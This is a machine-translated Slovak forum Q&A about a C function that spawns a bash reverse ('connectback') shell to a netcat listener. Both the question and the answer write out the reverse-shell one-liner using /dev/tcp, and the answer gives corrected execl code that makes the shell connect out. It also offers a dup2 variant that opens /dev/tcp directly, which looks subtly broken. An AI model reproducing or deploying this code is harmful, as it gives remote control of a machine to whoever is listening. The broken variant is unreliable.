/ / Sending bash connectback otázky v C - c, exec, vidlice

Odosielanie problémov s pripojením bash v C - c, exec, vidlice

Takže nemôžem zistiť, čo sa deje. Zakaždým, keď sa táto funkcia vykoná, otvorí shell v rámci mojej aktuálnej aplikácie. Predpokladá sa, že bude posielať shell na počúvanie netcat

Myslel som, že riešenie by bolo vidlicovité, ale ja by som získal rovnaké výsledky.

void cmd_bashcb(char *ip, int port) {

if (port > 0 && port < 65536) {

if (fork() == 0) {
//char *args[] = {"/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL };
//execv("/bin/bash", args);
execl("/bin/bash", "/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL);
}
}
}

Naozaj jeden z tých problémov, ktoré môžem povedať

ak vykonám tento CLI, funguje to ako kúzlo bash -i >& /dev/tcp/IP/PORT 0>&1

Akékoľvek nápady chalani?

odpovede:

1 pre odpoveď č. 1

Prvý argument pre execl() je cesta k spustiteľnému súboru. Druhým argumentom je argv[0], Hovoríte, že jeho meno je "/bin/bash -i >&…", a keďže neexistujú žiadne iné argumenty, beží ako bežný interaktívny shell pripojený k štandardným I / O kanálom procesu, v ktorom je váš kód.

potrebuješ:

execl("/bin/bash", "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", (char *)0);

Toto účinne vyvoláva:

/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

Potrebujete extra úroveň shell, aby sa shell spracoval I / O presmerovanie. Mohli by ste to urobiť sami a uložiť uloženie shellu.

int fd = open("/dev/tcp/127.0.0.1/4444", O_RDWR);
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
close(fd);
execl("/bin/bash", "/bin/bash", "-i", (char *)0);